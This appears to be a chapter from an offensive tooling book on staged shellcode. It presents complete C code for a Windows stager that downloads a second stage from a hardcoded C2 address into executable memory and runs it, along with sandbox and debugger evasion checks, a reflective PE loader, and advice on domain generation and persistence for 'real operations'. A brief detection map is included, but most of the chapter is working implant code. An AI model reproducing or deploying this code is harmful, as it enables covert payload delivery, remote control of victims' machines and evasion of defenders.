Staged Shellcode Architecture
Single-stage shellcode — one payload blob that contains everything — is simple to build but hard to fit in tight injection slots and impossible to update after delivery. Staged architectures split the payload into a tiny first stage that downloads and executes a much larger second stage. This chapter designs both stages from scratch: a complete WinInet-based stage 0 stager, a reflective PE loader for stage 1, and the three-tier architecture used by frameworks like Meterpreter. Every design decision is explained against its detection cost.
Why Stage at All?
The case against single-stage shellcode in real operations is straightforward:
SINGLE-STAGE (one blob) ───────────────────────────────────────────────────────────────── Pros: • Simpler to build and debug • No network dependency at execution time • Works offline/in sandboxes with blocked outbound Cons: • Size limited by the injection slot • The entire implant is on disk (in the dropper) or in transit • Cannot update or swap payloads after delivery • Harder to change C2 address post-delivery • Full payload is visible to static analysis of the dropper Typical size: 50 KB – 500 KB (a full C2 agent) STAGED (stage 0 downloads stage 1) ───────────────────────────────────────────────────────────────── Pros: • Stage 0 is tiny (100–500 bytes) — fits anywhere • Stage 1 is never on disk — downloaded directly into memory • C2 address change: update stage 1 on server, all deployed stage 0s fetch new stage • Analyst who catches stage 0 sees only a tiny stager, not the full implant • Stage 1 can be arbitrarily large — no size constraint Cons: • Network dependency: if egress is blocked, stage 0 fails silently • C2 address must be embedded in stage 0 (or derived at runtime) • Network traffic generated at execution time (visible in logs) • More complex to build and debug Typical stage 0 size: 100–500 bytes
Stage 0 — Design Principles
Stage 0 has exactly one job: download the stage 1 blob from the C2 and execute it. Every byte in stage 0 that doesn't directly contribute to this job is waste. The byte budget drives every design decision:
Fixed costs (can't be reduced further):
──────────────────────────────────────────────────────────────
PEB walk (find kernel32) ~55 bytes (ROR-13 hash version)
Resolve LoadLibraryA ~25 bytes
Resolve GetProcAddress ~25 bytes
Load wininet.dll:
LoadLibraryA("wininet.dll") ~15 bytes (stack string for name)
HTTP download sequence:
InternetOpenA() ~30 bytes (4 args)
InternetOpenUrlA() ~40 bytes (6 args, URL string on stack)
InternetReadFile() loop ~35 bytes
buffer management ~20 bytes
Execute stage 1:
VirtualAlloc(RWX) ~25 bytes
(memcpy already done during read)
CreateThread ~30 bytes
WaitForSingleObject ~15 bytes
C2 URL string (stack-built): ~variable (domain + path)
"http://192.168.1.100/s1.bin" = 28 bytes minimum
──────────────────────────────────────────────────────────────
Minimum total for WinInet stager: ~320–400 bytes
With null-free constraints and alignment: ~400–500 bytesStage 0 — Complete WinInet Stager
This is a complete, production-quality stage 0 stager. It PEB-walks to find kernel32, loads wininet.dll, performs an HTTP GET, reads the response into a VirtualAlloc'd buffer, and executes it as a new thread:
// stage0_wininet.c — CRT-free WinInet HTTP stager
// Build: x86_64-w64-mingw32-gcc -Os -nostdlib -nodefaultlibs \
// -fno-ident -fno-asynchronous-unwind-tables \
// -e shellcode_entry -Wl,--no-seh stage0_wininet.c -o stage0.exe
// For shellcode output: use --oformat binary with a linker script,
// or extract the .text section with objcopy.
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned long long u64;
typedef unsigned char u8;
typedef void* PVOID;
typedef PVOID HANDLE;
typedef PVOID HINTERNET;
typedef u32 DWORD;
typedef u16 WORD;
typedef u8 BOOL;
typedef const char* LPCSTR;
// ── Function pointer types ──────────────────────────────────────────────
typedef PVOID (__stdcall *fn_VirtualAlloc) (PVOID, u64, u32, u32);
typedef PVOID (__stdcall *fn_CreateThread) (PVOID, u64, PVOID, PVOID, u32, u32*);
typedef u32 (__stdcall *fn_WaitForSingleObject)(HANDLE, u32);
typedef void (__stdcall *fn_ExitThread) (u32);
typedef PVOID (__stdcall *fn_LoadLibraryA) (const char*);
typedef PVOID (__stdcall *fn_GetProcAddress)(PVOID, const char*);
typedef HINTERNET (__stdcall *fn_InternetOpenA) (LPCSTR, u32, LPCSTR, LPCSTR, u32);
typedef HINTERNET (__stdcall *fn_InternetOpenUrlA) (HINTERNET, LPCSTR, LPCSTR, u32, u32, u64);
typedef BOOL (__stdcall *fn_InternetReadFile) (HINTERNET, PVOID, u32, u32*);
typedef BOOL (__stdcall *fn_InternetCloseHandle)(HINTERNET);
// ── ROR-13 API hashing ──────────────────────────────────────────────────
// (same as Chapter 7 — inlined here for self-containment)
static u32 ror13(const char* s) {
u32 h = 0;
while (*s) {
char c = *s++;
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (h >> 13) | (h << 19);
h += (u8)c;
}
return h;
}
// Pre-computed hash constants:
#define H_VIRTUALALLOC 0x91AFCA54
#define H_CREATETHREAD 0x835E515E
#define H_WAITFORSINGOBJ 0x601D8708
#define H_EXITTHREAD 0x4C5649BD
#define H_LOADLIBRARYA 0xB7072FDB
#define H_GETPROCADDRESS 0xEC0E4E8E
// ── PEB walk to find module by hash ─────────────────────────────────────
static PVOID find_mod_hash(u32 target) {
u8* peb;
__asm__ volatile ("mov %%gs:0x60, %0" : "=r"(peb));
u8** ldr_head = (u8**)(*(u8**)(peb + 0x18) + 0x20);
u8* entry = *ldr_head;
while (entry != (u8*)ldr_head) {
u16* name_buf = *(u16**)(entry + 0x50);
u16 name_len = *(u16*) (entry + 0x48);
if (name_buf && name_len) {
u32 h = 0;
for (int i = 0; i < name_len/2; i++) {
u16 c = name_buf[i];
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (h >> 13) | (h << 19);
h += c;
}
if (h == target) return *(PVOID*)(entry + 0x20);
}
entry = *(u8**)entry;
}
return 0;
}
// ── Export resolver by hash ──────────────────────────────────────────────
static PVOID find_export_hash(PVOID base, u32 target) {
u8* b = (u8*)base;
u32 edir_rva = *(u32*)(b + *(u32*)(b + 0x3C) + 0x88);
if (!edir_rva) return 0;
u8* ed = b + edir_rva;
u32 cnt = *(u32*)(ed + 0x18);
u32* nms = (u32*)(b + *(u32*)(ed + 0x20));
u16* ord = (u16*)(b + *(u32*)(ed + 0x24));
u32* fns = (u32*)(b + *(u32*)(ed + 0x1C));
for (u32 i = 0; i < cnt; i++) {
if (ror13((char*)(b + nms[i])) == target)
return (PVOID)(b + fns[ord[i]]);
}
return 0;
}
// ── Stack string helper: build a string on the stack without literals ─────
// This avoids putting "wininet.dll" etc. as readable strings in the binary.
// For readability this example uses C string literals; production code uses
// push-based stack string building (see comment below).
// "wininet.dll" would be: push 0x6c6c642e / push 0x74656e69 / push 0x6e6977 etc.
static const char s_wininet[] = "wininet.dll";
static const char s_InternetOpen[] = "InternetOpenA";
static const char s_InternetUrl[] = "InternetOpenUrlA";
static const char s_InternetRead[] = "InternetReadFile";
static const char s_InternetClose[]= "InternetCloseHandle";
// C2 URL — in production: build this on the stack using push instructions
// so it doesn't appear as a plaintext string in static analysis.
static const char s_url[] = "http://192.168.1.100:8080/stage1";
static const char s_agent[] = "Mozilla/5.0";
// ── Stage 0 entry ────────────────────────────────────────────────────────
void shellcode_entry(void) {
// Bootstrap
PVOID k32 = find_mod_hash(0x6A4ABC5B); // hash("KERNEL32.DLL")
fn_LoadLibraryA pLL = (fn_LoadLibraryA) find_export_hash(k32, H_LOADLIBRARYA);
fn_GetProcAddress pGPA = (fn_GetProcAddress) find_export_hash(k32, H_GETPROCADDRESS);
fn_VirtualAlloc pVA = (fn_VirtualAlloc) find_export_hash(k32, H_VIRTUALALLOC);
fn_CreateThread pCT = (fn_CreateThread) find_export_hash(k32, H_CREATETHREAD);
fn_WaitForSingleObject pWFSO = (fn_WaitForSingleObject)find_export_hash(k32, H_WAITFORSINGOBJ);
fn_ExitThread pET = (fn_ExitThread) find_export_hash(k32, H_EXITTHREAD);
// Load wininet.dll
PVOID wininet = pLL(s_wininet);
if (!wininet) { pET(1); return; }
fn_InternetOpenA pIO = (fn_InternetOpenA) pGPA(wininet, s_InternetOpen);
fn_InternetOpenUrlA pIOU = (fn_InternetOpenUrlA) pGPA(wininet, s_InternetUrl);
fn_InternetReadFile pIR = (fn_InternetReadFile) pGPA(wininet, s_InternetRead);
fn_InternetCloseHandle pICH = (fn_InternetCloseHandle)pGPA(wininet, s_InternetClose);
if (!pIO || !pIOU || !pIR || !pICH) { pET(2); return; }
// Open internet session
HINTERNET hInet = pIO(s_agent, 1 /*INTERNET_OPEN_TYPE_DIRECT*/, 0, 0, 0);
if (!hInet) { pET(3); return; }
// Open URL
HINTERNET hUrl = pIOU(hInet, s_url, 0, 0,
0x80000000 /*INTERNET_FLAG_RELOAD*/, 0);
if (!hUrl) { pICH(hInet); pET(4); return; }
// Read stage 1 in chunks into a growing buffer
// Simple approach: allocate a generous fixed-size buffer
u32 bufSize = 0x200000; // 2MB max stage 1 size
u8* buf = (u8*)pVA(0, bufSize, 0x3000, 0x04); // RW first
if (!buf) { pICH(hUrl); pICH(hInet); pET(5); return; }
u32 totalRead = 0, bytesRead = 0;
while (pIR(hUrl, buf + totalRead, 0x1000, &bytesRead) && bytesRead > 0)
totalRead += bytesRead;
pICH(hUrl);
pICH(hInet);
if (totalRead == 0) { pET(6); return; }
// Make the buffer executable
// VirtualProtect(buf, totalRead, PAGE_EXECUTE_READ, &oldProtect)
// (requires kernel32 VirtualProtect — add to bootstrap if needed)
// Simpler: allocate new RWX buffer, copy, execute from there
u8* exec = (u8*)pVA(0, totalRead, 0x3000, 0x40); // PAGE_EXECUTE_READWRITE
if (!exec) { pET(7); return; }
// Manual memcpy (no CRT)
for (u32 i = 0; i < totalRead; i++) exec[i] = buf[i];
// Create thread to execute stage 1
HANDLE hThread = pCT(0, 0, exec, 0, 0, 0);
if (!hThread) { pET(8); return; }
pWFSO(hThread, 0xFFFFFFFF); // INFINITE wait
pET(0);
}
Three-Tier Architecture — The Meterpreter Model
Meterpreter and similar advanced agents use three tiers instead of two. Understanding this model is essential for both building and detecting staged payloads:
TIER 0: Stage 0 Stager (tiny — 100–500 bytes)
──────────────────────────────────────────────────────────────────
• Lives in the exploit payload / delivery mechanism
• Contains ONLY: connect to C2, download tier 1, execute it
• No persistence, no reconnaissance, no feature
• Sometimes called "stager" or "shellcode stage 0"
TIER 1: Stage 1 Loader (medium — 5–50 KB)
──────────────────────────────────────────────────────────────────
• Downloaded by stage 0, runs in memory (never on disk)
• Performs environment validation (right host? domain-joined?)
• Performs anti-analysis checks (VM? sandbox? debugger?)
• Downloads and reflectively loads tier 2
• Handles errors and retries in the download
• Can be a reflective DLL (loaded with sRDI/Donut technique)
• Example: Meterpreter's initial DLL loaded by the stager
TIER 2: Stage 2 Full Agent (large — 50 KB – 5 MB)
──────────────────────────────────────────────────────────────────
• Full C2 agent: file ops, process ops, network, screenshot, keylog
• Never touches disk in ideal deployment
• Communicates to the team server over encrypted channel
• Loaded reflectively by stage 1
• Example: the full Meterpreter agent, a custom beacon
Communication flow:
┌──────────────┐ HTTP/S ┌──────────────┐ HTTP/S ┌────────────────┐
│ Stage 0 │ ─download──────▶│ Stage 1 │─download────▶│ Stage 2 │
│ (stager) │ │ (loader) │ │ (full agent) │
│ │ │ validates │ │ │
│ │ │ environment │ │ communicates │
└──────────────┘ └──────────────┘ └────────────────┘
│
▼
Team Server
(Cobalt Strike,
Metasploit, custom)Stage 1 — Environment Validation
Stage 1's most important security feature: it validates the environment before deploying stage 2. This prevents the full agent from reaching sandboxes, analyst VMs, or honeypots:
// stage1_validate.c — environment checks before deploying stage 2
// Run these before downloading the full agent.
#include <windows.h> // In real CRT-free shellcode: use own definitions
typedef struct { int passed; const char* name; } CheckResult;
// ── Check 1: Domain membership ───────────────────────────────────────────────
CheckResult check_domain(void) {
// Look for domain name in PEB's ProcessParameters.Domain
// Or: query NetGetJoinInformation (requires netapi32 — adds a DLL load)
// Simpler: check USERDOMAIN environment variable
char domain[256] = {0};
DWORD size = sizeof(domain);
// GetEnvironmentVariableA("USERDOMAIN", domain, size);
// Check if domain differs from computer name (domain-joined if they differ)
// For shellcode: compare known domain hash against computed hash
return (CheckResult){1, "domain"}; // placeholder
}
// ── Check 2: Process count (sandbox check) ───────────────────────────────────
// A real Windows installation has hundreds of processes.
// Sandboxes typically have fewer than 30.
BOOL check_process_count(int min_expected) {
DWORD pids[1024];
DWORD needed = 0;
// EnumProcesses(pids, sizeof(pids), &needed);
// int count = needed / sizeof(DWORD);
// return count >= min_expected;
return TRUE; // placeholder
}
// ── Check 3: Uptime check ────────────────────────────────────────────────────
// Sandboxes are often freshly booted for each analysis run.
// Uptime < 10 minutes is suspicious.
BOOL check_uptime_minutes(int min_uptime_minutes) {
DWORD uptimeMs = GetTickCount(); // milliseconds since boot
return uptimeMs >= (DWORD)(min_uptime_minutes * 60 * 1000);
}
// ── Check 4: Screen resolution ───────────────────────────────────────────────
// Most sandboxes run at 800x600. Real workstations use 1920x1080 or higher.
BOOL check_screen_resolution(int min_width, int min_height) {
int w = GetSystemMetrics(SM_CXSCREEN);
int h = GetSystemMetrics(SM_CYSCREEN);
return (w >= min_width && h >= min_height);
}
// ── Check 5: PEB.BeingDebugged ───────────────────────────────────────────────
BOOL check_no_debugger(void) {
u8* peb;
__asm__ volatile ("mov %%gs:0x60, %0" : "=r"(peb));
return *(u8*)(peb + 0x02) == 0; // BeingDebugged must be 0
}
// ── Run all checks; abort if any fail ────────────────────────────────────────
BOOL validate_environment(void) {
if (!check_no_debugger()) return FALSE;
if (!check_uptime_minutes(15)) return FALSE;
if (!check_screen_resolution(1024, 768)) return FALSE;
if (!check_process_count(50)) return FALSE;
// Add domain check, registry checks, file checks, etc.
return TRUE;
}
Stage 1 — Reflective PE Loading
After validation, stage 1 downloads stage 2 (a full DLL or EXE) and loads it reflectively — mapping it into memory without calling LoadLibrary or writing it to disk:
// reflective_loader.c — map a PE image into memory manually
// This is stage 1's core: loads stage 2 from a byte array.
// Simplified version — production loaders handle more edge cases (see Ch228).
static void* reflective_load(u8* pe_bytes, u64 pe_size) {
// 1. Parse NT headers
u32 e_lfanew = *(u32*)(pe_bytes + 0x3C);
u8* nt = pe_bytes + e_lfanew;
u32 sizeOfImage = *(u32*)(nt + 0x50); // OptHeader.SizeOfImage
u32 sizeOfHeaders = *(u32*)(nt + 0x54); // OptHeader.SizeOfHeaders
u64 imageBase = *(u64*)(nt + 0x30); // OptHeader.ImageBase (preferred)
u32 entryRva = *(u32*)(nt + 0x28); // OptHeader.AddressOfEntryPoint
// 2. Allocate memory for the mapped image
// Try preferred base first; if unavailable, let OS choose
u8* mapped = (u8*)pVirtualAlloc((void*)imageBase, sizeOfImage,
0x3000, 0x40); // MEM_COMMIT|RESERVE, RWX
if (!mapped)
mapped = (u8*)pVirtualAlloc(0, sizeOfImage, 0x3000, 0x40);
if (!mapped) return 0;
// 3. Copy headers
for (u32 i = 0; i < sizeOfHeaders; i++) mapped[i] = pe_bytes[i];
// 4. Copy each section to its mapped RVA
u16 numSections = *(u16*)(nt + 6);
u16 optHeaderSize = *(u16*)(nt + 20);
u8* secHeader = nt + 24 + optHeaderSize; // first IMAGE_SECTION_HEADER
for (int i = 0; i < numSections; i++, secHeader += 40) {
u32 rva = *(u32*)(secHeader + 12); // VirtualAddress
u32 rawSize = *(u32*)(secHeader + 16); // SizeOfRawData
u32 rawOff = *(u32*)(secHeader + 20); // PointerToRawData
u8* src = pe_bytes + rawOff;
u8* dst = mapped + rva;
for (u32 j = 0; j < rawSize; j++) dst[j] = src[j];
}
// 5. Apply base relocations (if mapped at a different address)
u64 delta = (u64)mapped - imageBase;
if (delta != 0) {
u32 relocRva = *(u32*)(nt + 0x98 + 8*5); // DataDirectory[5].VirtualAddress
u32 relocSize = *(u32*)(nt + 0x98 + 8*5 + 4);
u8* reloc = mapped + relocRva;
u8* relocEnd = reloc + relocSize;
while (reloc < relocEnd) {
u32 blockRva = *(u32*)reloc;
u32 blockSize = *(u32*)(reloc + 4);
u16* entries = (u16*)(reloc + 8);
u32 numEntry = (blockSize - 8) / 2;
for (u32 e = 0; e < numEntry; e++) {
u16 entry = entries[e];
int type = entry >> 12;
int off = entry & 0xFFF;
if (type == 10) // IMAGE_REL_BASED_DIR64
*(u64*)(mapped + blockRva + off) += delta;
}
reloc += blockSize;
}
}
// 6. Fix imports (load each required DLL, resolve each import)
u32 importRva = *(u32*)(nt + 0x98 + 8*1); // DataDirectory[1]
if (importRva) {
u8* desc = mapped + importRva;
while (*(u32*)(desc + 12)) { // while Name != 0
char* dllName = (char*)(mapped + *(u32*)(desc + 12));
PVOID hDll = pLoadLibraryA(dllName);
u64* origThunk = (u64*)(mapped + *(u32*)(desc + 0));
u64* iatEntry = (u64*)(mapped + *(u32*)(desc + 16));
while (*origThunk) {
if (*origThunk & 0x8000000000000000ULL)
*iatEntry = (u64)pGetProcAddress(hDll, (char*)(*origThunk & 0xFFFF));
else {
char* name = (char*)(mapped + (*origThunk & 0xFFFFFFFF)) + 2;
*iatEntry = (u64)pGetProcAddress(hDll, name);
}
origThunk++; iatEntry++;
}
desc += 20;
}
}
// 7. Call entry point (DLL_PROCESS_ATTACH or EXE entry)
u8* entry = mapped + entryRva;
// For DLL: call as DllMain(hinstDLL, DLL_PROCESS_ATTACH, reserved)
typedef BOOL (__stdcall *DllMain_t)(PVOID, u32, PVOID);
DllMain_t dll_entry = (DllMain_t)entry;
dll_entry(mapped, 1 /*DLL_PROCESS_ATTACH*/, 0);
return mapped;
}
Detection Map — What Each Stage Generates
Stage 0 execution:
─────────────────────────────────────────────────────────────────
Event ID 3 (Network connection): outbound to C2 address/port
Event ID 22 (DNS query): if C2 uses domain name (not raw IP)
VirtualAlloc(RWX) telemetry: EDR-specific, allocating RWX memory
Loaded image event (Event 7): wininet.dll being loaded by the stager process
Stage 1 download:
─────────────────────────────────────────────────────────────────
No file creation (stage 1 goes to RWX allocation, not disk)
Second VirtualAlloc(RWX) (for stage 1 text)
CreateThread event: thread created at a non-module address
→ "unbacked" thread (stack trace shows unknown module) — high signal!
Stage 2 reflective load:
─────────────────────────────────────────────────────────────────
VirtualAlloc for the mapped PE image
No LoadLibrary call for stage 2 (bypasses Event 7)
Possible WriteProcessMemory if injecting into another process
Thread at "unbacked" address if stage 2 runs in stage 1's process
Key detection signals:
1. Outbound connection from a process that just loaded wininet.dll
2. RWX memory allocation in a process not normally doing this
3. Threads running code from non-module memory ("unbacked" threads)
4. DNS query + immediate download + thread creation sequenceQuestions & Answers
How does Meterpreter's actual stager handle stage 2 download?
Meterpreter's reverse_tcp stager uses a raw TCP socket rather than WinInet HTTP. It calls WSAStartup, socket(), connect(), and recv() in a tight loop to download stage 2 (the metsrv DLL) as a raw byte stream. The length is transmitted first as a 4-byte little-endian integer, then that many bytes follow. This is more reliable than HTTP in filtered environments (only needs port 4444 or whatever reverse port is open) but more visible to network monitoring (raw TCP rather than blending with web traffic). The reverse_https stager uses WinInet or WinHTTP (depending on the version) for HTTPS, which blends with normal web traffic but adds more code size.
What's the difference between a reflective loader and Donut?
A reflective loader is code embedded in the DLL itself that knows how to load that specific DLL — it was compiled in as an export and can load the DLL's own bytes into a new memory mapping. Donut is a separate conversion tool that takes an arbitrary PE (EXE, DLL, .NET assembly) and wraps it in a shellcode blob with a loader that can run it anywhere. The Donut loader is more general-purpose (it handles CLR hosting for .NET) but adds more overhead. For custom implants you control the source of, a baked-in reflective loader (like Stephen Fewer's original) is more compact. For converting third-party tools to shellcode, Donut is the practical choice. Chapter 228 covers Donut in full detail.
What happens if stage 0 successfully downloads stage 1 but stage 1 crashes?
If stage 0 creates a thread for stage 1 and stage 1 crashes, the thread terminates with an exception code. Stage 0's WaitForSingleObject returns, and stage 0 exits normally (or calls ExitThread). From an operational perspective, you've lost the access — the target process exits, the C2 shows a disconnect, and you need to re-exploit. For robust staging, stage 1 should be designed to catch its own exceptions (using SEH or Vectored Exception Handlers) and report the error back to the team server before dying. This gives you telemetry on why stage 1 failed (which environment check, which API, which offset), allowing you to fix the issue and re-stage.
Can the C2 address be changed after deployment?
For a pure stager with the C2 address hardcoded, no — not without re-deploying stage 0. This is a key operational limitation. Solutions: (1) DNS-based C2 address: stage 0 resolves a domain name that you control; changing the DNS record changes where all deployed stagers connect, without any code change. (2) Domain generation algorithm (DGA): stage 0 computes a series of C2 domain names from the current date (or another seed); you register the one that matches today's DGA output. (3) Fallback list: embed multiple C2 addresses; stage 0 tries each in order until one succeeds. The DNS approach is most practical for real operations — change the DNS record and all deployed stage 0s automatically redirect to the new C2.
What if stage 1 needs to persist across reboots?
Stage 1 runs entirely in memory and disappears on reboot. This is by design for fileless operations — it's the primary detection evasion benefit. If you need persistence, it must be established either by stage 2 (the full agent installs a persistence mechanism after it's running) or by stage 1 before loading stage 2. Persistence mechanisms (registry Run keys, scheduled tasks, DLL side-loading setups, WMI subscriptions) are covered in Part 5. The tradeoff: any persistence mechanism creates artifacts on disk or in the registry that survive forensic examination, whereas a purely memory-resident implant disappears completely on reboot with no forensic trace.